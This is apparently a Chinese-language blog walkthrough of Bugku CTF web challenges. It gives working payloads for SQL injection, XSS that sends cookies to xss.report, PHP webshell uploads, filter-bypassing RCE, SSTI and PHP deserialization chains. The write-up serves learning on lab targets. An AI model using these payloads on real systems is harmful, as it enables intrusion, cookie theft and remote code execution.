有人提到了bugku的入门难度,所以来做做bugku
顺序是默认的,做的 平台WEB
第一页
滑稽
网页源代码
计算器
网页里面有个code.js,打开就有
alert
HTML 实体解码
你必须让他停下
抓一会包,全局搜索flag{就行
头等舱
看到头,想到Header,果然有
GET
/?what=flag
POST
what=flag
source
看到source想到源代码,里面有个tig,可能是git,又说了Linux,我猜git泄露
猜中了,但是没想到居然要git操作,实在不熟
只用githack不能下载.git里的文件,要用wget -r git路径才行
翻了半天没什么东西,看别人是这样:
git reflog:不带任何参数时,显示当前分支(HEAD)的引用日志。git show:不带任何参数时,显示当前分支的最新提交(HEAD)的详细信息。
然后一个个试,在git show HEAD@{4}
矛盾
/?num=1a
备份是个好习惯
扫到flag.php 和 index.php.bak
备份是:
1<?php
2include_once "flag.php";
3ini_set("display_errors", 0);
4$str = strstr($_SERVER['REQUEST_URI'], '?');
5$str = substr($str,1);
6$str = str_replace('key','',$str);
7parse_str($str);
8echo md5($key1);
9
10echo md5($key2);
11if(md5($key1) == md5($key2) && $key1 !== $key2){
12 echo $flag."取得flag";
13}
14?>
15
$str = strstr($_SERVER['REQUEST_URI'], '?');- 获取URL中?后面的部分$str = substr($str,1);- 去掉?号,得到查询字符串$str = str_replace('key','',$str);- 将字符串中的’key’替换为空(这一步会破坏原始参数名)parse_str($str);- 将查询字符串解析为变量
例如?key1=abc&key2=def处理后变成1=abc&2=def
自然想到双写绕过,和传入数组
1/?kekeyy1[]=2&kekeyy2[]=1变量1
看到题目名我就猜到是环境变量了,代码里还有变量覆盖
所以/?args=GLOBALS
本地管理员
提示已经够多了,admin,密码在源码里,XFF
game1
看源码一眼看到了一个编辑Get请求的,但是一直错
看了评论才知道,Base64编码是题目改版的,在F12的Console里面写,Base64.encode(分数);就能得到题目的编码
最终payload:
1/score.php?score=9999999999&ip=123.153.213.109&sign=zMOTk5OTk5OTk5OQ====源代码
好奇葩的题,源码里面是js,定义的时候是编码的,自己又解码,执行,源码如下:
1var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
2var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
3eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));把eval改成console.log就能打印里面的拼接,打印后格式化一下是:
1function checkSubmit() {
2 var a = document.getElementById("password");
3 if ("undefined" != typeof a) {
4 if ("67d709b2b54aa2aa648cf6e87a7114f1" == a.value)
5 return !0;
6 alert("Error");
7 a.focus();
8 return !1
9 }
10}
11document.getElementById("levelQuest").onsubmit = checkSubmit;获取id为password的元素,a要存在,值等于那个字符串,就返回!0
然后编辑源码,把那个input输入框复制一个在后面,把id改成password就行
随后输入那个值点提交,就有flag了
虽然做出来了,但印象中那么多年就遇到过一次需要自己改html的。
网站被黑
扫备份,shell.php
爆破密码,hack
bp
题目真怪
爆破的返回长度一样的,里面的js逻辑是等于那个预设的code,那个code是后台生成的,所以需要知道触发的code是啥,否则正确密码你也看不出来
bp可以用那个grep matching,点击flag什么东西的标注一下,所有错误密码都是2次出现此词条,但是有一个密码是zxc123,他只出现了1次,返回包里的code是hacker1000,访问一下就有flag
好像需要密码
10000-99999爆破
我这里是12468
shell
给的描述是:
1$poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])这里的poc_1就是数组,poc_2就是把每个元素连起来,就是assert
后面就是执行s,所以
1/?s=system('ls');然后读一下flag
eval
1/?hello=system('cat /flag')这里的执行函数貌似在var_dump而非外层的eval
需要管理员
robots.txt里有文件
1/resusl.php?x=admin第二页
程序员本地网站
1X-Forwarded-For: 127.0.0.1这题三个金币
你从哪里来
1Referer: http://google.com这题三个金币
前女友
1/?v1[]=a&v2[]=b&v3[]=cMD5
以前做过笔记
md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。
不同数据弱相等
payload:
a=QNKCDZO&b=240610708MD5等于自身,如
md5($a)==$a,php弱比较会把0e开头识别为科学计数法,结果均为0,所以此时需要找到一个MD5加密前后都是0e开头的,如0e215962017
本题payload:/?a=0e215962017&b=240610708
各种绕过哟
秋名山车神
多刷几次能看到让post value
居然要写代码
1import requests
2import re
3s = requests.Session()
4one = s.get('http://171.80.2.169:17896/')
5rt=one.text
6math=re.search("<div>.*</div>", rt)
7math=re.search("(?<=>).*?(?==)",math.group())
8print(rt)
9value=eval(math.group())
10print(value)
11two = s.post('http://171.80.2.169:17896/', data={
12 "value": value
13})
14print(two.content)要学一下爬虫,我好像python编程不怎么会
速度要快
抄的代码:
1import requests
2import base64
3session = requests.Session()
4response = session.get("http://171.80.2.169:19916/")
5headers = response.headers
6flagBase64Str = headers["flag"]
7flagStr = base64.b64decode(flagBase64Str)
8flagStr = flagStr.decode("utf-8")
9flagStr = flagStr.split(": ")[1]
10# 一定要在这里写,因为上一步才是把那串英文数字组合的字符串赋予给 flagStr(就是 MzAwNjq3 这个格式内容)
11flagStr = base64.b64decode(flagStr)
12res = session.post("http://171.80.2.169:19916/", data={"margin": flagStr})
13print(res.text)file_get_contents
extract代码意思是把传入的参数,自动解析成变量名
扫描到flag.txt内容是bugku
所以
1/?ac=bugku&fn=flag.txtSimple SQL injection
万能密码也行
SQLmap一把梭,但我居然没有手动注入出来,我数字型忘了
我傻逼
注出账密后登录就有flag
成绩查询
SQLMAP一把梭
no select
万能密码
1' or 1=1#
login2
又是做过的,没做出来,我忘记了union select新建数据的事
这题返回头给了提示:
1$sql="SELECT username,password FROM admin WHERE username='".$username."'";
2if (!empty($row) && $row['password']===md5($password)){
3}摘出两句代码,这个意思是先查询username和password,然后肯定有个赋值给$row[‘password’]的操作。
第二行代码就是把输入的password与上面查询的password做对比。
这里技巧就是union select查询字符串时,会在结果中插入这两行数据,貌似是别名?
比如执行:
1SELECT CustomerID,Customername FROM Customers where CustomerID='1'
2union
3select 'admin','password'回显:
| CustomerID | Customername |
|---|---|
| 1 | Alfreds Futterkiste |
| admin | password |
如果CustomerID=‘1’里面把1改成任意不存在的数,那么回显结果里只有admin和password
这样的话,此sql语句结果被赋值,就相当于我们自己插入了一条用户名和密码。
系统取出并赋值后,跟我们传入的密码比对。注意插入要md5过的
这里post语句写
1username=' union select 'admin','202cb962ac59075b964b07152d234b70'#--&password=123进去还有个命令注入,写文件就行
1;cat /flag>1.txtsql注入
有点难,过滤了不少,也学到了新知识点
没写脚本,看了wp就直接输入帐密了
这里过滤了很多东西,比如, | for | 空格但常规的函数又没过滤
用length就能判断出数据库名的长度
1a'or(Length(database()))>1#根据一些wp,可以得出有以下payload能判断
1那为什么这些也能判断呢?
2SELECT substr((database())from(1)); # security
3SELECT mid((database())from(1)); # security
4SELECT ascii(mid((database())from(1))); # 115
5SELECT substr(reverse(substr((database())from(1)))from(8)); # s在 MySQL 中,SUBSTR()、SUBSTRING() 和 MID() 是同义词。它们的功能完全一样。
以mid为例,标准写法是:MID(database() FROM 2 FOR 1)='l'
简写为:MID(database() ,2,1)='l'
可是逗号和for都被过滤了,另一种写法mid(database(),2),返回第二个字母往后的字符串,例如blindsql返回lindsql,而逗号被过滤,使用from就行:mid(database()from(2))
另一个知识点,ascii函数传入字符串时,只返回第一个字母的ascii,所以
ascii(mid(database()from(2)))就能用来逐个判断字母
判断出数据库名是blindsql
由于for被过滤,不能从information_schema查表,需要爆破表名
1a'or(SELECT(id)FROM(blindsql.xxxx))#得admin
爆破列名
1a'or(SELECT(XXXX)FROM(blindsql.admin))#得password
注入密码就是
1a'or((ascii(mid((select(password)from(admin))from(1))))>90)#改造成脚本就行
有个wp,很有意思,居然是通过-0-判断,我没见过
原理是MySQL 类型转换:把一个“字符串”和一个“数字”进行比较时,MySQL 会尝试将字符串强制转换为数字,然后再做判断。
如果字符串以数字开头:它会截取开头的数字部分进行比较。
- 例如:‘123USA’ 转换后等于 123。
如果字符串不以数字开头:它会被转换成 0。
- 例如:‘Germany’、‘UK’、‘China’ 转换后统统等于 0。
所以,使用
1select * from Customers where country=0;会查询出所有数据
在这题里面,username注入:admin'-0-'
1SLECET * FROM users WHERE username='admin'-0-'' AND password='admin'这样admin-0变成0 ,0-''变成0 ,那么username=0,基本上所有用户都满足这个条件,那么username为真,密码错误就显示password error
构造那个0就能判断,例如注入:
1a'-((LENGTH(database()))-8)-'数据库名长度为8,8-8为0,就形成了a'-0-',uasername为真
如果是把8改成其他数字,比如7,9分别算出-1和1,都无法匹配上字符串。
太妙了
也可以判断库名
1a'-((ASCII(MID(database()FROM(1))))-98)-'这里不用-98,用大于小于98也可以,条件成立返回1,不成立返回0
都过滤了
用上面学到的方法,判断出这个是8位长度的数据名:
1uname=admin'-(length(database())-8)-'&passwd=123456实际上猜admin,bugkuctf也行了:)
判断第一位字符
1uname=admin'-(ascii((mid(database()from(1))))-98)-'&passwd=123456判断表名,还是要爆破
1uname=admin'-(select(0)from(admin))-'&passwd=123456爆破列名
1uname=admin'-(select(0)from(admin)where(passwd))-'&passwd=123456我设置where(列名=0)不出结果,where(列名)可以。那就这样爆破吧,存在就显示password error
有个wp用的子查询:
1xxx'-(SELECT(0)FROM(SELECT(列名)FROM(admin))t)-'where被过滤的话可以用,意思是从admin表里查列,如果没有就错了,如果有,则外层有个0输出,这个语句没我的简洁
爆破数据的时候我是这样做的:
1a'-(ascii(select(passwd)from(admin))>4)-'当然这个我没写from,只能判断第一位,我只是测试,这样写是不行的,一直回显username error。因为select语句作子查询的时候,必须是一个标量子查询,需要让它被括号包裹,成为子查询才行。
下面就可以判断了
1a'-(ascii((select(passwd)from(admin)))>4)-'逐位判断加个from就行:
1uname=a'-(ascii(mid((select(passwd)from(admin))from(1)))>52)-'&passwd=123456脚本来不及写了,盲猜admin / bugkuctf
进去就是命令执行,过滤了空格,{IFS}之类,用bash结构执行
{ls,/}、{cat,/flag}
login1
hint说SQL约束攻击,头好痒,记忆缺失了
搜了一下,说是select和insert对带空格的输入处理不一致。
新建用户的时候,系统判断库里有没有这个用户,没有就插入此用户。
用户名写成admin 1,select时此用户不存在,然后就插入,但是insert插入时会把空格后面截断掉,插入为admin。
我的描述可能不好,看一下这两篇吧:
留言板
ceye.io、xss.pt还有什么xssaq要么收不到,要么收费。 这里我使用的:https://xss.report/,注册后,去payload拿一个,输入后,稍等10秒就在dashboard收到消息,然后点击右边小爬虫图标,进入消息详情,能看到cookie里面有flag
我的payload
1<scrIpt src=https://xss.report/c/sequel7924></scriPt>
留言板1
同上,不过过滤了空格和script,使用/替代空格,使用双写绕过
1<scscrIptrIpt/src=https://xss.report/c/sequel7924></scrscrIptiPt>
文件包含
LFI
1/index.php?file=php://filter/convert.base64-encode/resource=/flagflag位置是猜的,伪协议是hackbar点一下就有,自己不背会忘。
cookies
url是/index.php?line=0&filename=a2V5cy50eHQ=,就是文件base然后读行
写逐行读取index.php,整理如下:
1<?php
2error_reporting(0);
3$file = base64_decode(isset($_GET['filename']) ? $_GET['filename'] : "");
4$line = isset($_GET['line']) ? intval($_GET['line']) : 0;
5if ($file == '') header("location:index.php?line=&filename=a2V5cy50eHQ=");
6$file_list = array(
7 '0' => 'keys.txt',
8 '1' => 'index.php',
9);
10
11if (isset($_COOKIE['margin']) && $_COOKIE['margin'] == 'margin') {
12 $file_list[2] = 'keys.php';
13}
14
15if (in_array($file, $file_list)) {
16 $fa = file($file);
17 echo $fa[$line];
18}传入margin=margin,然后file传入keys.php就行
payload:
注意,响应体是:
1<?php $key="flag{3e98dca32cef0d3eef528910cb212313}"; ?>页面看不到,上bp
never_give_up
网页源代码有提示1p.html,进去看到有个js写入,把变量url解码,base64解码,url解码就能看到了
如下:
1if(!$_GET['id'])
2{
3 header('Location: hello.php?id=1');
4 exit();
5}
6$id=$_GET['id'];
7$a=$_GET['a'];
8$b=$_GET['b'];
9if(stripos($a,'.'))
10{
11 echo 'no no no no no no no';
12 return ;
13}
14$data = @file_get_contents($a,'r');
15if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
16{
17 $flag = "flag{***********}"
18}
19else
20{
21 print "never never never give up !!!";
22}id=0a可以,a用data://text/plain,bugku is a nice plateform!写入。eregi是忽略大小写的正则匹配函数,这里有两种做法,00截断和正则,b为%0012345,这样首字节是空字节,与111连接后还是111,能匹配进1114。为.12345也行,因为.匹配任意字符,也能匹配后面的。
payload:
1/hello.php?id=0a&a=data://text/plain,bugku%20is%20a%20nice%20plateform!&b=%0012345或
1/hello.php?id=0a&a=data://text/plain,bugku%20is%20a%20nice%20plateform!&b=.12345第三页
文件包含2
网页源码有线索,打开是个上传点,上传一句话木马,后缀改成jpg,mime也改一下,然后<?php 和 ?>被过滤了,这里用script:
1<script language='php'>@eval($_POST['b']);</script>然后回显路径,再次包含它就能执行命令了,也可以用蚁剑连接。看来是内置.htaccess文件了
ezbypass
一眼无字母数字字符RCE
payload:
1_=system&__=cat+%2Fflag&code=%24_%3D%28_%2F_._%29%5B_%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24__.%24_%3B%24_%2B%2B%3B%24__%3D%24__.%24_%3B%24_%3D_.%24__%3B%24%24_%5B_%5D%28%24%24_%5B__%5D%29%3B现学吧
参考:
fuzz哪些字符没被过滤:
1<?php
2for ($i=32;$i<127;$i++){
3 if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){
4 echo chr($i);
5 }
6}长篇解释不太好放到这里,解释下上面的payload,
$_=(_/_._)[_];,_做运算时是0,0/0是NAN,做索引时就取到了N,后面就是自增之类的了。
最终构造成$_POST['_']($_POST['__'])
然后传入_和__。
还可以$_=[];$_=@"$_";,在双引号字符串中,PHP 会解析变量(字符串插值),解析数组时报错返回固定字符串"Array",那个@是用来抑制错误的。
No one knows regex better than me
1<?php
2error_reporting(0);
3$zero = $_REQUEST["zero"];
4$first = $_REQUEST["first"];
5$second = $zero . $first;
6if (preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i", $second)) {
7 $key = $second;
8 if (preg_match("/\.\.|flag/", $key)) {
9 die("Noooood hacker!");
10 } else {
11 $third = $first;
12 if (preg_match("/\\|\056\160\150\x70/i", $third)) {
13 $end = substr($third, 5);
14 highlight_file(base64_decode($zero) . $end); //maybe flag in flag.php
15 }
16 }
17} else {
18 highlight_file(__FILE__);
19}/\\|\056\160\150\x70/i表示的是,|.php字符串
payload:/?zero=ZmxhZw==&first=girl|.php
字符?正则?
1<?php
2highlight_file('2.php');
3$key='flag{********************************}';
4$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
5if( $IM ){
6 die('key is: '.$key);
7}
8?>
太无聊了,评论区都是AI做的,我也是
key- 匹配字母 “key”;例如.*- 匹配任意字符(除换行符)零次或多次key- 匹配字母 “key”.{4,7}- 匹配任意字符4到7次key- 匹配字母 “key”:\/.\/- 冒号 + 斜杠 + 任意一个字符 + 斜杠(.*key)- 捕获组:匹配任意字符零次或多次,直到"key"[a-z]- 匹配一个小写字母[[:punct:]]- 匹配一个标点符号字符/i- 不区分大小写标志
payload:/?id=keykeyqqqqkey:/q/keyq!
Flask_FileUpload
源码提示了,上传文件会返回结果,前后端都限制了文件类型
但是后缀改成图片就行
我本来上传一个完整的py文件,但是各种报错,内容看起来像直接执行了我的命令,那种完完整整的python flask文件不行
于是改成:
出了结果,直接
xxx二手交易市场
这个学到了,原来base64的图片,里面自带mime的
注册用户后,上传头像发现都是base格式,去除图片内容后,把图片位置改成一句话,然后base64,顺便把jpeg改成php,这样上传后就是php文件
1image=data%3Aimage%2Fphp%3Bbase64%2CPD9waHAgQGV2YWwoJF9QT1NUW19dKTs/Pg==然后就是
1_=system("cat /var/www/html/flag");文件上传
看了评论才知道
直接上传一句话,上面的Content-type里面的multipart/form-data要改成Multipart/form-data
下面的改成image/jpeg,然后后缀改php4
getshell
太无聊了,一直base64解码,解得乱死了,一层层。
到最后我var_dump提示:
1Fatal error: Uncaught Error: Undefined constant "ymlisisisiook" in D:\atmp\dd.php(86) : eval()'d code(1) : eval()'d code:3没解出全部内容,猜这个是一句话密钥,猜对了。
什么权限都没有,蚁剑连上有个插件叫disable_functions,可以用,只要把shell的路径改成.antproxy.php就行。
然后右键终端就能执行很多命令了
点login咋没反应
垃圾题,居然细节藏在css里,有个/* try ?28064 */,拼接到url就行
然后源码:
1<?php
2error_reporting(0);
3$KEY='ctf.bugku.com';
4include_once("flag.php");
5$cookie = $_COOKIE['BUGKU'];
6if(isset($_GET['28064'])){
7 show_source(__FILE__);
8}
9elseif (unserialize($cookie) === "$KEY")
10{
11 echo "$flag";
12}
13else {
14?>
本地实验了一下:
1<?php
2$KEY = "ctf.bugku.com";
3var_dump(serialize($KEY));
4$_COOKIE["BUGKU"] = "s:13:\"ctf.bugku.com\";";
5$cookie = $_COOKIE["BUGKU"];
6
7if (unserialize($cookie) === "$KEY") {
8 echo "nb";
9}
10
11?>
payload:BUGKU=s:13:"ctf.bugku.com";
兔年大吉2
不难,但是有个地方我没搞出来。导致靶机过期了,亏了5个金币,艹
源码:
1<?php
2highlight_file(__FILE__);
3error_reporting(0);
4
5class Happy{
6 private $cmd;
7 private $content;
8
9 public function __construct($cmd, $content)
10 {
11 $this->cmd = $cmd;
12 $this->content = $content;
13 }
14
15 public function __call($name, $arguments)
16 {
17 call_user_func($this->cmd, $this->content);
18 }
19
20 public function __wakeup()
21 {
22 die("Wishes can be fulfilled");
23 }
24}
25
26class Nevv{
27 private $happiness;
28
29 public function __invoke()
30 {
31 return $this->happiness->check();
32 }
33
34}
35
36class Rabbit{
37 private $aspiration;
38 public function __set($name,$val){
39 return $this->aspiration->family;
40 }
41}
42
43class Year{
44 public $key;
45 public $rabbit;
46
47 public function __construct($key)
48 {
49 $this->key = $key;
50 }
51
52 public function firecrackers()
53 {
54 return $this->rabbit->wish = "allkill QAQ";
55 }
56
57 public function __get($name)
58 {
59 $name = $this->rabbit;
60 $name();
61 }
62
63 public function __destruct()
64 {
65 if ($this->key == "happy new year") {
66 $this->firecrackers();
67 }else{
68 print("Welcome 2023!!!!!");
69 }
70 }
71}
72
73if (isset($_GET['pop'])) {
74 $a = unserialize($_GET['pop']);
75}else {
76 echo "过新年啊~过个吉祥年~";
77}
78?>
序列化不熟,我转载过一篇,但没深学:PHP 反序列化总结
这题的错误例子:
1$a=new Happy('system',"whoami");//新建Happy对象
2
3$a->eee();//调用Happy中不存在的方法,触发call
4
5echo serialize($a);//序列化
看似合理,其实低级错误,这里的$a就是个对象,序列化也没有调用eee()的记录。并且反序列化在Year类中,Happy对象怎么可能触发。
思路:
就是这样,一个个对象包裹另一个才能做到链式反应
我的payload:
1<?php
2error_reporting(0);
3
4class Happy{
5 private $cmd;
6 private $content;
7
8 public function __construct()
9 {
10 $this->cmd = "system";
11 $this->content = "cat /flag";
12 }
13}
14
15class Nevv{
16 private $happiness;
17
18 public function __construct($obj)
19 {
20 $this->happiness=$obj;
21 }
22}
23
24class Rabbit{
25 private $aspiration;
26 public function __construct($obj)
27 {
28 $this->aspiration=$obj;
29 }
30}
31
32class Year{
33 public $key;
34 public $rabbit;
35
36 public function __construct($obj)
37 {
38 $this->rabbit = $obj;
39 $this->key="happy new year";
40 }
41}
42
43$h=new Happy();
44$n=new Nevv($h);
45$y=new Year($n);
46$r=new Rabbit($y);
47
48$y2=new Year($r);
49echo urlencode(serialize($y2));
50
51?>
注意一定要urlencode,否则私有属性的00复制不出来,注意在Happy类的对象数目那里+1,这样才能绕过__wakeup,奇怪的是为什么我这个没有+1也可以
最终payload:
1O%3A4%3A%22Year%22%3A2%3A%7Bs%3A3%3A%22key%22%3Bs%3A14%3A%22happy+new+year%22%3Bs%3A6%3A%22rabbit%22%3BO%3A6%3A%22Rabbit%22%3A1%3A%7Bs%3A18%3A%22%00Rabbit%00aspiration%22%3BO%3A4%3A%22Year%22%3A2%3A%7Bs%3A3%3A%22key%22%3Bs%3A14%3A%22happy+new+year%22%3Bs%3A6%3A%22rabbit%22%3BO%3A4%3A%22Nevv%22%3A1%3A%7Bs%3A15%3A%22%00Nevv%00happiness%22%3BO%3A5%3A%22Happy%22%3A2%3A%7Bs%3A10%3A%22%00Happy%00cmd%22%3Bs%3A6%3A%22system%22%3Bs%3A14%3A%22%00Happy%00content%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7D%7D%7D%7Dunserialize-Noteasy
关键在:$a("", $b);,毕竟就一个类,destruct触发就行
这里一眼考察:create_function
exp:
1<?php
2
3class Noteasy
4{
5 private $a;
6 private $b;
7
8 public function __construct()
9 {
10 $this->a="create_function";
11 $this->b="}system('c\a\\t /flag'); /*";
12 }
13}
14$a=new Noteasy();
15echo urlencode(serialize($a));payload:
1O%3A7%3A%22Noteasy%22%3A2%3A%7Bs%3A10%3A%22%00Noteasy%00a%22%3Bs%3A15%3A%22create_function%22%3Bs%3A10%3A%22%00Noteasy%00b%22%3Bs%3A26%3A%22%7Dsystem%28%27c%5Ca%5Ct+%2Fflag%27%29%3B+%2F%2A%22%3B%7D正则过滤了命令,所以用\隔开绕过,$a("", $b);这种形式基本都是考察create_function,要注意后面的函数体,开头右花括号是为了闭合内部lambda,后面的/*是为了注释后续语句。
Simple_SSTI_2
焚靖一把梭
payload:
1/?flag={{(OvO.__eq__.__globals__.sys.modules.os.popen('cat flag')).read()}}闪电十六鞭
学到了新知识,这里不需要绕过最后一个sha1,需要在eval里面做文章。
eval() 函数的作用是将字符串当作 PHP 代码执行。
我们可以写入代码片,自定义变量之类。也能像SQL注入一样闭合标签。
payload:
1$a='fla9';$a{3}='g';?><?=$$a;?>111111111111111111
前面两句是构造出$flag,?>是为了闭合语句。在 PHP 中,一旦遇到 ?>,后面的内容会被当作普通 HTML 输出,直到遇到新的 PHP 标签。
<?=$$a;?> 是 <?php echo $$a; ?> 的简写。 <?= 不需要括号就能输出变量,绕过了正则。
这个时候已经打印$flag了,但是前面有个长度比对,所以后面补一些字符,将其补充到49个字符。
安慰奖
不难,我用的cp flag.php flag.txt绕过
1/?code=O%3A3%3A%22ctf%22%3A3%3A%7Bs%3A11%3A%22%00%2A%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22%00%2A%00cmd%22%3Bs%3A20%3A%22cp+flag.php+flag.txt%22%3B%7D也可以用tac flag.php来绕过
decrypt
密码题
1<?php
2function encrypt($data,$key)
3{
4 $key = md5('ISCC');
5 $x = 0;
6 $len = strlen($data);
7 $klen = strlen($key);
8 for ($i=0; $i < $len; $i++) {
9 if ($x == $klen)
10 {
11 $x = 0;
12 }
13 $char .= $key[$x];
14 $x+=1;
15 }
16 for ($i=0; $i < $len; $i++) {
17 $str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
18 }
19 return base64_encode($str);
20}
21?>
我的注释,和思路:
1<?php
2function encrypt($data, $key)
3{
4 $key = md5('ISCC'); //729623334f0aa2784a1599fd374c120d
5 $x = 0;
6 $len = strlen($data); //$data长度
7 $klen = strlen($key); //32
8 $char = '';
9 //key的前$len位连起来
10 for ($i = 0; $i < $len; $i++) {
11 //key用完了,就从头开始
12 if ($x == $klen) {
13 $x = 0;
14 }
15 $char .= $key[$x];
16 $x += 1;
17 }
18 // data的每一位ASCII和$char的加起来,模128,转字符
19 // 前$len位
20 for ($i = 0; $i < $len; $i++) {
21 $str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
22 }
23 return base64_encode($str);
24}
25//如果$data长度为32,那么$char=$key
26
27function decrypt($C)
28{
29 $D = base64_decode($C);
30 $char = md5('ISCC');
31 $len = strlen($D);
32 $plain = '';
33 $x = 0;
34 for ($i = 0; $i < $len; $i++) {
35 if ($x == 32) {
36 $x = 0;
37 }
38 $s = ord($D[$i]); //把每个字符转ASCII
39 $plain .= chr(($s - ord($char[$x]) + 128) % 128);
40 $x += 1;
41 }
42 echo $plain;
43}
44
45decrypt("fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=");Gemini写的更好:
1function decrypt($C)
2{
3 $D = base64_decode($C);
4 $key = md5('ISCC'); // 729623334f0aa2784a1599fd374c120d
5 $klen = strlen($key); // 32
6 $len = strlen($D); // 密文长度
7 $plain = '';
8
9 for ($i = 0; $i < $len; $i++) {
10 // 1. 实现密钥循环逻辑
11 $keyChar = $key[$i % $klen];
12
13 // 2. 获取当前密文字符的 ASCII 值
14 $s = ord($D[$i]);
15
16 // 3. 还原算法:(密文 - 密钥 + 128) % 128
17 // 这样可以确保结果永远落在 0-127 的有效 ASCII 范围内
18 $plain .= chr(($s - ord($keyChar) + 128) % 128);
19 }
20
21 echo "解密结果: " . $plain;
22}
23
24decrypt("fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=");加密函数的逻辑可以写成数学等式:$C = (P + K) \pmod{128}$
我们的目标是从 $C$ 中求出 $P$。根据移项法则:$P \equiv C - K \pmod{128}$
在数学上,$-K$ 在模 128 的世界里,等同于 $+ (128 - K)$。所以为了在编程时避免出现负数(因为 ord() 函数处理负数会出问题),我们通常写成:$P = (C - K + 128) \pmod{128}$
Apache Log4j2 RCE
没公网IP,做不了,研究一上午内网穿透,结果没成功
腾讯云有免费使用一个月的云服务器,可以用
我看的这个帖子做的:ctf bugku Apache Log4j2 RCE解题
newphp
远古的记忆被唤醒了
源码:
1<?php
2// php版本:5.4.44
3header("Content-type: text/html; charset=utf-8");
4highlight_file(__FILE__);
5
6class evil{
7 public $hint;
8
9 public function __construct($hint){
10 $this->hint = $hint;
11 }
12
13 public function __destruct(){
14 if($this->hint==="hint.php")
15 @$this->hint = base64_encode(file_get_contents($this->hint));
16 var_dump($this->hint);
17 }
18
19 function __wakeup() {
20 if ($this->hint != "╭(●`∀´●)╯") {
21 //There's a hint in ./hint.php
22 $this->hint = "╰(●’◡’●)╮";
23 }
24 }
25}
26
27class User
28{
29 public $username;
30 public $password;
31
32 public function __construct($username, $password){
33 $this->username = $username;
34 $this->password = $password;
35 }
36
37}
38
39function write($data){
40 global $tmp;
41 $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
42 $tmp = $data;
43}
44
45function read(){
46 global $tmp;
47 $data = $tmp;
48 $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
49 return $r;
50}
51
52$tmp = "test";
53$username = $_POST['username'];
54$password = $_POST['password'];
55
56$a = serialize(new User($username, $password));
57if(preg_match('/flag/is',$a))
58 die("NoNoNo!");
59
60unserialize(read(write($a)));还是学了一下,这里的反序列化点是User类,自动反序列化。跟看文件的evil类没有关联。
可控点是username和password,所以我们自然而然想到,把序列化后的字符串当用户名或者密码传入。直接传入被当成字符串的,没有效果。
先看看处理流程,他把User对象前后用了write和read函数。这个write函数是幌子,没有返回值。有用的是read,它把参数中的\0\0\0替换成三个字符。例如我username输入,\0\0\0,经过read变成三个字符。这样反序列化就会往后再读取三个字符,直到6个。
evil类读取hint.php的序列化对象是:
1O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}把这个字符串当password输入,查看User类序列化:
1O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:41:"O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}";}我们的目的就是让password里面塞入的evil序列化字符串成为真正的对象。
这里用到逃逸,把";s:5:"admin";s:8:"password";s:41:"变成username,后面的O开头的自然就是内嵌对象。这个字符串长度是23,我们每次替换只能逃逸三个长度,所以只能逃逸3的倍数。所以这里使它逃逸24个长度,手动在末尾补个字符就行。
username填入8组\0\0\0:
1O:4:"User":2:{s:8:"username";s:48:"********";s:8:"password";s:41:"O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}";}手动补个填充用的字符k,并且补充闭合符号:";,这样才能让语法结构完整:
1O:4:"User":2:{s:8:"username";s:48:"********";s:8:"password";s:41:"k";O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}";}
由于evil类有__wakeup,这里把evil对象数量+1:
1O:4:"User":2:{s:8:"username";s:48:"********";s:8:"password";s:41:"k";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}";}
现在往靶机POST数据:
1username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=k";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
得到hint:
内容是:
1{ "args": { "name": "Bob" }, "headers": { "Accept": "*/*", "Host": "httpbin.org", "User-Agent": "curl/7.64.0", "X-Amzn-Trace-Id": "Root=1-694ded5b-418e6aeb2239bd6e336ba78e" }, "origin": "171.80.2.169", "url": "http://httpbin.org/get?name=Bob" }我刚开始没看出来,然后理解了
